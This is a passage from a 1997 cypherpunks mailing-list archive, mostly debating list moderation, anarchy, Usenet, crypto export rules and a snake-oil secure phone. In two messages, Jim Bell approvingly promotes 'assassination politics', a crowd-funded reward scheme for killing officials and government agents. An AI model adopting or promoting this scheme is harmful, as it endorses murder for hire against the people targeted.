is all the 'approved' messages. This way, people who wish
to have the benefits of a filtered list are happy, people who
wish to have posts rated for them (but be able to check on
the "rater") are happy, and people who wish to see every
message are happy.

(I know that John has concerns about toad's mail capacity,
and this may be too big a load)

ObCrypto policy:
	Was anyone else besides me amazed by the guy
from Deloitte-Touche at the Internet Privacy Coalition luncheon
last week? I mean, he all but advocated violent overthrow of
the government. D-T is the most "establishment" of the big-6
accounting firms, last time that I looked.

It's a weird world when we have a representative of a
company that makes a living advising people on how to
obey government regulations advocating civil disobedience.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 4 Feb 1997 16:28:01 -0800 (PST)
To: John Gilmore <weidai@eskimo.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702050028.QAA08787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:

+   Are mailing lists an example of "public goods" where private 
+   ownership is impossible, or should be avoided? ...

        yes, there is a requirement, even in a libertarian society, let 
    alone an anarchic society, for cooperation in the *commonweal[th]*.

        in otherwords, is there even such a social state as true 
    anarchy? (given the residents of planet earth, I doubt it.)

+   Is the desire for an anarchic community at odds with a desire for 
+   good use of resources?

        the individual desire for anarchy must exclude common human 
    "pride" and greed. true anarchy is poorly defined and understood by 
    most advocates.  

        the absolute need for common resources negates anarchy in the 
    popularly defined "description" of anarchy, solely because the 
    issue of community "responsibility" is in opposition to the 
    perceived: 'I can do anything I want.'

        In a "popular" anarchy, Jim Bell's assassination politics make
    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

on or about 970204:0621 John Gilmore <gnu@toad.com> said:

+   In an anarchy, *everyone* is responsible; 
+     nothing is "somebody else's job". 

        Bingo! John's statement is the absolute bottom line!

        e.g.-  if you are walking down the street with thousands of 
    other people and you see a piece of trash (which obviously was 
    tossed by an obviously imperfect anarchist), _you_ pick the trash 
    up and place it in a waste container.  _you_ -not someone else who     
    is shirking _their_ common responsibility.

        anarchy is _not_ living on a desert island surrounded by piles 
    of McDonald's wrappers and empty coke cans. that is an individual 
    who elected to "escape" both society and {him,her}self.

        anarchy is only possible in an ideal world where _everyone_ 
    assumes not only responsibility for themselves, but for the common 
    good.  no malice, no greed, no need for assassination politics....

        John's quote from Booker T. is precisely the point:

            ...now that they were in actual possession of it, freedom 
            was a more serious thing than they had expected to find it.

    or maybe Bobbie McGee: "freedom is just nothing else to lose..."
    (BTW, written by a Rhodes Scholar)

    --
    attila out (for the moment)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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QtlfSo8dKcQMBXJcdfJ58dklisFrolyLApcEYFO5E+v6XPH+SFe+DOOoMgGNfj1v
3qnL49ol2s34ioaJG3BFqy6JOJmL7eom0PleQrGWzko8mGM99dRBVgCRCLZMmWk8
4Uaqs5Ztkbw=
=112P
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Tue, 4 Feb 1997 23:41:29 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702050741.XAA18633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> John Gilmore urges action, or piping down... well lets start with
> discussion of whether one possible action is appropriate, and useful
> (piping down is not an option:-):
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?

As an additional forum, it's not a bad idea, with the exception that it
may draw some people away from the mailing list, and reduce the already-
slim signal on the list.

USENET is less accessible than email, and given the goals of cypherpunks,
the more accessible the medium the better. I have crap news access 99%
of the time, and I imagine a significant portion of the list is in a
similar situation. Also, the tools for news reading are not well-suited
for filtering, either manual or automatic.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.

These 3 are fatal IMO. The distribution of cypherpunks would become
much more haphazard and might fail altogether in places. Some people
will be reading long threads days after they are dead.

> Coderpunks is a reasonable list, I'm not sure that it is moderated as
> such, but if you breach etiquette (discussion of politics, even when
> perpetrated by respected cryptographers, or by people discussing the
> implications of breaking DES, rather than the strict coding questions)
> they get Futplex-grams, which I find slightly annoying.
> 
> Cryptography@c2.net is again reasonable, and gained back some of the
> original people who quit cypherpunks over the years due to noise.
> Cryptography is moderated.  (Or is moderated when Perry thinks it
> would benefit from moderation, so that may change).

Agreed. These lists _are_ the alternative to the "open" cypherpunks list.

If a moderated cypherpunks is to be started, great, but it should be
another list, not _the_ cypherpunks list. Moderation, even with the best
intentions, is subjective, and therefore has no place on a list such
as cypherpunks.

If this is really an experiment, at the end of the month the list should
become unmoderated, and a moderated list created. Then we can see how many
people switch in that direction. I imagine it would be a similar number
to those that switched to the unedited list.

> What's left is attempting to stop government restrictions and backdoors,
> and deploying the many complex peices of software for which there exists
> uses and demands.

There is still much to be done. The cypherpunks list has plenty of reason
for being. As is, it 1) is still used as a forum for good discussion, 
despite the noise, and 2) is an invaluable resource for information 
retrieval and dispersal. The list should not be killed or moved IMO, 
and moderation should occur on other lists, not the main one.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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7/TXY4Rj7yk8odKN3s4aYZ61vTMqMFdqzo42q5dNTQyL5haM1ugwgjg1bS5u3ski
venMQtFa8t4=
=aIej
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:41:22 -0800 (PST)
To: Steve Schear <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <199702050741.XAA18619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>wealth, the household knows that thier participation in an attempt on the
>>tyrant will get them killed.  Even if the attempt was successful.
>>The people from the outside who would benefit from the bounty benefit more
>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>
>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful


In practice, we can't hold out much hope that donations to an AP system from 
"rich and powerful" people can be identified as such.  After all, with the 
appropriate software I could just as easily make 100, $10 donations as a 
single $1000 donation.  Assuming anonymity held, nobody but the donor knows 
from where the money came.

However, fortunately I don't think it would make any difference in the 
overall effects.    While AP would eliminate the taxation which is commonly 
thought of as the main way a "rich person" loses assets, in practice it 
would also shut down the well-hidden systems that allow some people to get 
rich (or, merely live off somebody else) "unfairly."   Government agents 
come to mind, of course.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 23:26:22 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: Silly Americans
Message-ID: <199702050726.XAA18078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I was reading through the news when I stumbled across a thread that made a
very good point.  The original poster was talking about the UniSys GIF
patent, and this was the reply:

>Broaden your view. I can do anything I want with the GIF format without
>asking _anyone_, and so can almost everyone in the world - except those
>poor americans who chose to live under a "broken" patent law which
>allows protecting _algorithms_. Totally silly.

It brings up an interesting point, especially when applied to ITAR/EAR.  On
a philosophical note, why *do* we allow the government to regulate
algorithms?  (Implementations, I can understand, but *algorithms*?)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A poem: a story in meter or rhyme."
'Ahh. `There once was a man from Nantucket ... `'
"You've been talking to Garibaldi again, haven't you?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 23:41:16 -0800 (PST)
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050741.XAA18598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:22 PM 2/4/1997, Declan McCullagh wrote:
> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

I think this analogy is inappropriate for modern communications
forums.

Mailing lists have the wonderful property that the drunken boor
cannot shout everyone else down.  This is what is so great about
the Net.  It is trivial to filter the drunken boor.  This cannot
be done in a crowded auditorium.

Another neat property is the fact that people can't interrupt
each other and everybody can "talk" at once.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Wed, 5 Feb 1997 07:25:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702051525.HAA28728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, gbroiles@netbox.com writes:

> My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
> with the list if it were moved to (or gated with) Usenet, as Usenet has
> become for the most part 100+ Mb/day of uselessness.

An obvious point.  But you go on to say...

> The good side I see to a move to Usenet is that it lets people use the
> comparatively better tools for managing messages
[...]

FWIW, I gate all my subscribed mailing lists to local newsgroups because
my newsreading tools are much better than my mailreading tools.

> The down side is that Usenet is more or less a sewer these days, and some of
> it's bound to spill over.

The unfiltered list already had spammers and flamers.  Would you expect
nore sewage, different sewage or a combination?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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Version: 2.6.2

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lXwZV9PojttoBbGlfrc1gY/ZEOnOtwwBemiMSiyIS0Md26f1VM9i1OMVR4RDpLY8
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=jMyg
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 16:29:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: "alt.cypherpunks" people?
Message-ID: <199702050029.QAA08873@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore urges action, or piping down... well lets start with
discussion of whether one possible action is appropriate, and useful
(piping down is not an option:-):

What do people think of starting an alt.cypherpunks USENET newsgroup?

It has some advantages:

 1. It distributes the cost of information dispersal, rather than
    largely placeing the load on a single machine.

 2. Newsreading software typically includes threading, which is useful

 3. It avoids the issue of ownership, it is more anarchic.  There is
    no list or host owner to get prosecuted for copyright violations, 
    export law violations, libel etc.

 4. Automatically gets archived several places, and is searchable

 5. It will be unmoderated

And some disadvantages...

 1. Cross-posting in USENET is a problem, especially in alt newsgroups

 2. Commercial spam is a problem with newsgroups

 3. USENET distribution is likely less efficient of overall bandwidth

 4. News propogation times are often poor (Exeter univ. receives news
    about a week late) This is a real killer in my view.  I have
    another news server I can access at the moment, but not everyone
    may have access to a reasonable news server.

 5. News access is more complex for some people.  Some alt newsgroups
    are not carried by some servers.  Perhaps news-to-mail and
    mail-to-news gateway would solve these problems.

 6. Some have argued in the past on this topic that the mailing list
    medium is better because it is more exclusive, as it requires more
    technical competence, and an active enough interest to subscribe.
    This is an elitist argument.  Perhaps it is relevant though, if we
    are trying to maintain a mailing list where technical discussions on
    how to improve privacy are to take place.  I wouldn't call this
    attitude censorship though.

My overall feeling is that I prefer the faster turn around time of a
mailing list.  When interesting things were/are happening on the list
(netscape break, late breaking crypto news, and cypherpunks spin on
it), the fast turn around time was essential.  Being able to react
quickly to news items, and to organise technical projects rapidly is
one of the cypherpunks main advantages and attractions from my point
of view.

My view of moderation is that it is a huge amount of work for the
moderator, that it is hypocritical philosophically (we promote
anarchy, but in order to effectively promote anarchy, we reject
anarchy), that it breeds artificial social hierarchys, rather than
allowing posts and posters reputations to stand on their own merit.

I was happier with the strength of the philsophical standing of the
list prior to moderation.  Moderation hasn't improved the noise much
anyway.

Readers who have been reading for several years may understandably
wish to recapture the stimulating discourses, and lively community
feel to the list from the past.  Lists change, cypherpunks is a victim
of it's own success, media attention increased public awareness,
increased number of subscribers, and at the same time increased the
proportion of noisy off-topic posts.  Unfortunately the success of the
list, and the noise has resulted in some of those people who kept it
interesting leaving the list.

Coderpunks is a reasonable list, I'm not sure that it is moderated as
such, but if you breach etiquette (discussion of politics, even when
perpetrated by respected cryptographers, or by people discussing the
implications of breaking DES, rather than the strict coding questions)
they get Futplex-grams, which I find slightly annoying.

Cryptography@c2.net is again reasonable, and gained back some of the
original people who quit cypherpunks over the years due to noise.
Cryptography is moderated.  (Or is moderated when Perry thinks it
would benefit from moderation, so that may change).

Perhaps some of the lack of stimulating discussion is simply that the
ideas are no longer hot new ideas.  Most of the interesting technology
and it's implications have been discussed.

What's left is attempting to stop government restrictions and backdoors,
and deploying the many complex peices of software for which there exists
uses and demands.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Tue, 4 Feb 1997 06:56:36 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Secure Phones
Message-ID: <199702041456.GAA28776@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>My guess on the CESCOMM device is that they (would like us to belive that
>they) use pure RSA with optional hybrid links... this seems a bit obvious
>because of:
>
>"Guessing the unique Keys is out of the question. Acquiring the keys through
>wiretapping is impossible, since they are never transmitted." <--RSA?
 
This thing is snake oil.  What it does is move the data through an FIR filter
with the taps being controlled by a secret key.  The data itself isn't
encrypted, but is spread out over a wide spectrum in a (they hope)
difficult-to-analyse manner.  However with only 1K possible taps and
(presumably) something as high-security as an LFSR driving it, I think the
strength of the system has been overestimated somewhat.  It wasn't designed for
security at all, it was designed by an ex-Canterbury uni engineer to provide
add-on noise-immunity to fax machines, and they only decided to market it as an
encryption device later on - the designer apparently knows very little about
encryption.  I've got a photo of it, it's in a box the size of a small modem
and consists of a circuit board with an ASIC on it and a bit of interface
circuitry.
 
The company has a patent on it, but a search for the patent has so far been
unsuccessful (mind you I didn't search very hard).  If anyone wants to check it
themselves, the patent will probably be assigned to Ken Stokes of Cardinal
Encryption Services - they claim to have worldwide coverage.
 
>I emailed the German team about the LC-1... don't know if I'll hear back from
>them, but if I do, I'll pass on everything I get.
 
This is rather cool, it was designed by a couple of students at the University
of Saarbruecken.  It uses the Lintel RSA chips which are fast enough to do
real-time RSA voice encryption, either singly for 512 bits or chained for 1033
bits.  I've got a brochure somewhere which shows one of the inventors using it,
it's a small motherboard containing the RSA chip, some other unidentifiable
circuitry (presumably a modem chipset), an EPROM, etc etc.  It was done as a
research project by students who are unlikely to have put backdoors in it.  The
BSI (German NSA) were not at all happy about it.
 
It's a pretty neat product, but unfortunately due to its origins it's having
difficulty getting any market penetration.  In addition the Lintel chips are
f-ing expensive and there are many other components that go in on top of that,
I doubt the whole thing sells for less than DM 1000-1500.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 07:26:07 -0800 (PST)
To: Dale Thorn <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702051526.HAA28766@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 2/4/97 -0800, Dale Thorn wrote:
>Steve Schear wrote:
>> New X-ray gun trades privacy for safety
>> Reported by Andy C
>> Seen in The Nando Times on 13 August 1996
>> "I'm incredibly concerned," said John Henry Hingson, a past president of the
>> National Association of Criminal Defense Lawyers, meeting here this past
>> week. "The entire nation could become a victim of illegal searches and
>> seizures and the law is powerless to protect them from these police abuses."
>> But in these nervous times following the the crash of TWA Fight 800 and
>> bombings at the Olympics, Oklahoma City and the World Trade Center, many
>> Americans are now willing to trade some of their privacy and civil liberties
>> for greater security.
>> A poll last week by the Los Angeles Times found that a majority of people --
>> 58 percent -- said they would curtail some civil liberties if it would help
>> thwart terrorism. Thirteen percent said it would depend on what rights were
>> at stake. The poll didn't ask people to single out any rights.
>
>The L.A. Times quotes this "poll" all the time, and in fact probably
>just made it up.  Why do I know that?  Because they ran a "letter"
>from a "teacher" in the valley somewhere about a year ago which said
>exactly this same thing.  The "teacher" ran a poll of her students
>and they agreed to give up the rights without even knowing which
>rights they were giving up.


Wouldn't it be nice if, in a new poll, they asked the following question:

"Do you believe that the people who ask you, in other polls, whether or not 
'you'd be willing to give up a little freedom to thwart terrorism' have any 
proof it's possible to, in the long run, 'thwart terrorism' by sacrificing 
freedom?"



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 07:26:12 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702051526.HAA28775@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>+   Is the desire for an anarchic community at odds with a desire for 
>+   good use of resources?

Actually, it is quite possible that an "anarchic community" is _more_ 
efficient in the use of resources than some sort of organized community.    
It is explained, for example, that the reason there are so many different 
kinds of life on earth is that there are so many ecological niches to fill.  


>        In a "popular" anarchy, Jim Bell's assassination politics make
>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

I guess I don't understand the distinction you are trying to make, between a 
"popular anarchy" and an "anarchy."    Maybe you were trying to distinguish 
between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a 
majority)" but it didn't come out very understandably.

Put simply, "anarchy is not the lack of order.  It is the lack of _orders_."


>        anarchy is only possible in an ideal world where _everyone_ 
>    assumes not only responsibility for themselves, but for the common 
>    good.  no malice, no greed, no need for assassination politics....

No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
believed (as "everyone" else believed, even myself, before AP) that anarchy 
was inherently unstable.  But it ISN'T, if the tools of AP are used to 
stabilize it.  And no, no altruism is necessary for AP to work as well; no 
individuals are being asked to sacrifice themselves for the common good.   
Rather, they are given the opportunity to work to achieve a reward offered, 
cumulatively, by a number of citizens.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 16:28:04 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050028.QAA08788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



The gist of your post seems to be saying that:

 - yes, the result it is not purely anarchic

 - the moderation experiment intentionally moderated the main list
   by design

 - this is perhaps slightly at odds with cypherpunks philosphy on
   freedom

but that this is necessary because:

 - cypherpunks larger goals are more important

 - cypherpunks goals are better served by having a lower noise
   environment to work in

 - create that environment by any means possible (ends justify the means)

 - people weren't being responsible with their freedom anyway

 - it's only an experiment

 - if you don't like this and complain you're part of the problem


Now it may seem nit-picking to a pragmatist, which is the way you
presented your arguments, but the idea that cypherpunks should stoop
to moderation/censorship calls into question what cypherpunks larger
goals are.  Why?  Because we promote electronic freedom, but in order
to effectively organise the promotion of freedom, we reject full
freedom of speech as unworkable, and impose restrictions.  This lends
ammunition to our opponents.  "See even they realise there must be
limits to free speech".


Cypherpunks main goal is:

  "to promote privacy and freedom through technological means"

and arising from this goal, are presumed philosphical stances:

 - privacy and freedom are a good thing (unconditional free speech is
   a good thing)

 - censorship is a bad thing

 - government retrictions and backdoors in crypto are a bad thing
   (crypto providing practical privacy, and practical free speech
   being provided by cryptographically enabled anonymity)

 - chaumian credentials are preferable to fully traceable credentials

 - etc. etc.


So the question to me boils down to is unconditional free speech a
good thing?

Dorothy Denning says no.  Louis Freeh says no.  The Clinton
administration says no.

I thought you said yes.  I thought most of your actions for the last
10 years screamed yes!

Why cut corners for little gain?


Another moderated list with official sanction (hosted by toad.com,
with your commendation that people subscribe to it (to reduce noise
and increase productivity), with instructions in the sign on message
listing the moderated/filtered lists available, clearly stating the
filtering policy, regularly posted instructions on available filtered
lists to cypherpunks) would have been beautiful.  Fine.  Lovely.

But you set up moderation of _the_ list, with no interaction required
by the subscriber.

That caused Tim to unsubscribe.  It's causing me, and others to argue
for this aspect of the moderation to be reversed ASAP.

> PS: Can we talk about crypto too?  It's clear from the last few days
> of press releases that the pro-GAK forces are again working to confuse
> novices into thinking that two very different things are the same
> thing.  Last time it was "public key infrastructure" and "key
> recovery".  This time it's "strong crypto" and "56-bit DES".  What
> should we do about this?  Educate the public?

Education, and countering government news-speak seems to be the key
issues at the moment.

Educate the journalist that perpetuated the pro-GAK lie.  Write an
article to the same publication pointing out the fallacy
(unfortunately as these are private presses they are `moderated', so
you may not get your say).  Buy the advert space if they won't
publish.  I'll contribute.

Distribute strong crypto (you are personally, the ipsec S/WAN
initiative is important).  I'm working on creating and distributing
strong crypto, and influencing sectors of users to use strong crypto,
rather than export crippled US stuff.  The myth that 56 bits is strong
is perpetuated by journalists outside the US too.  The export
situation is complex, many user groups (even IT managers) don't
understand.  They don't understand the meaning of key strengths
either.  

Break DES to demonstrate it's weakness.  May happen in the next 1/2
year.  Gets free publicity.  People aren't saying 40 bits are secure
anymore.  Cypherpunks acheived that.

Hope that Matt Blaze goes ahead with his hardware DES breaker.  He
said some time ago that he had spare funding and was considering using
it for this purpose.  Anyone know the state of play?  This would be
more important as it would quantify the costs, and would be much more
impressive, and realistic for an estimate of the strength of DES
against industrial espionage or well funded criminal attack.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 23:42:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net
Message-ID: <199702050742.XAA18655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded with permission:

From:	IN%"loki@infonex.com"  "Lance Cottrell"  4-FEB-1997 15:34:25.09

>I would be happy to donate the resources to run Cypherpunks off our system.
>We could set up the list provided we were given a list of subscribers. I
>assume it would be unmoderated.

>	-Lance

>>	Hi. I don't know how much you've been keeping up with
>>the discussion on cypherpunks, but there is a current proposal
>>to distribute the list onto several different servers. I would
>>be willing to pay for 100 subscribers to run on the cyberpass.net
>>server, provided that somebody else (e.g., Igor Chudov) set up
>>the system initially and was available for assistance later. Any
>>problems on your end?
>>	[...]
>>	Thanks,
>>	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 07:26:21 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702051526.HAA28802@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Here's more on the controlled documents for cellular encryption
>>>from TIA/EIA we described in a 26 January post to cpunks:
...
>>Of course, ITAR as recently modified says it's ok to send this
>>stuff overseas to foreigners, as long as it's on paper.
>>There may be separate restrictions on sending it, or on copying,
>>but they're based on copyright or contractual non-disclosure.
>
>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>should be possible to achieve the equivalent of 100x100 bpi of 
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>100 kilobytes.   What does ITAR say about this?

These are text, perhaps with occasional illustrations, so the current
interim export rules say it's ok.

For optically-scannable printed data, the government's announcement says 
it reserves (somehow) its right (acquired in unspecified manner :-)
to re-evaluate the exportability at a later time.  I think they
haven't settled on whether they'd be more embarassed by banning it
(which bans export of printed material, risking serious Constitutional
challenges) or by not banning it (having people laugh at them while
exporting source code or even binaries in OCR-A on loose-leaf paper
with page numbers and checksums.) 

Of course, by moving crypto off the Munitions List, and allowing
export of printed material, they're also reducing their exposure
to ridicule for not responding to Raph's T-shirt CJ request....
(huh-huh... made you say Unconstitutional ... huh-huh....)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 07:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FOIA request
Message-ID: <199702051526.HAA28782@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 1/18/97, I sent freedom of information act requests to the FBI (main and
San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
of information in their files relating to or referring to the cypherpunks
list, the cypherpunks meetings, and copies of any messages sent from or to
"cypherpunks@toad.com".

To date, I have received three responses: one from the SF office of the FBI,
indicating that they have no records responsive to my request; one from the
NSA, indicating that they are processing my request, and one from the Secret
Service, asking for a copy of my signature. (I've got no clue why they want
that; unless I screwed up, I believe my initial request was signed.) 

Copies of my requests and the responses are available online at
<http://www.io.com/~gbroiles/cp-foia/>.

I'm not sure what I think about the response from the SF FBI branch - it
seems unlikely that they'd never have paid any attention to the list, given
the media coverage in Wired and other places. On the other hand, maybe the
FBI doesn't read Wired. :) While they're not supposed to be monitoring
noncriminal domestic activity, I figured they'd at least have something about
the Mykotronix stuff. 


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-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Tue, 4 Feb 1997 23:28:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050728.XAA18202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this post from Mr Gilmore deeply disturbing, and I thought
I'd take this chance to, as someone recently said, "Fly with the
Eagles."

John Gilmore said:
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this 
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

Careful. The statistics you are throwing around here are misleading.
So if 1350, say, subscribers were subscribed to an unmoderated 
cypherpunks list, what would that tell you? As has been pointed out,
beaten to death, and generally repeated: there are already filtered
c'punks lists. By filtering the main list, you are just making your own
life difficult and corrupting the reputation capital of "cypherpunks",
and the results are far from conclusive.

>all I want is something that works.  The cypherpunks list was unusable
>for this kind of discussion, only a month ago.  It's usable now.
>
>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

Again, maybe that 99% is trying to tell you something? Maybe there is
some provocation for this outpouring of "emotional flamage." Also, here
you claim that the s/n ratio is worse than before, but above you said
that the "moderation" has made the list usable. These two statements
seem contradictory.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete

Not a useful option? Why not? If there aren't any ideas left in this 
community, I'm with Lucky. Pull the plug.

>gratifying.  You-all remind me of a passage from Booker T.
>Washington's book _Up From Slavery_, describing what happened on the
>night that news of the Emancipation Proclamation reached the South:
<quote snipped>
>Most of the people on the list haven't bothered to face that freedom.
>Your de-facto "leaders" have faced it for you.  It is a more serious

"You clearly don't take your freedom seriously. Now try a month without
it."

>Start a mailing list on another site!  Move this list to somewhere!
>Create and nurture an alt group!  Make an independent moderated list

My problem with this is that you are currently holding the reputation
capital tied up in the name "cypherpunks" hostage. If hosting this
discussion forum has grown so tiring, then you are free to pull the plug
in a heartbeat. I've heard a few even go so far as to ask "what's in
a name" when others get so upset about the list called "cypherpunks"
being moderated. Well, I'll tell you. Reputation capital. Thats why
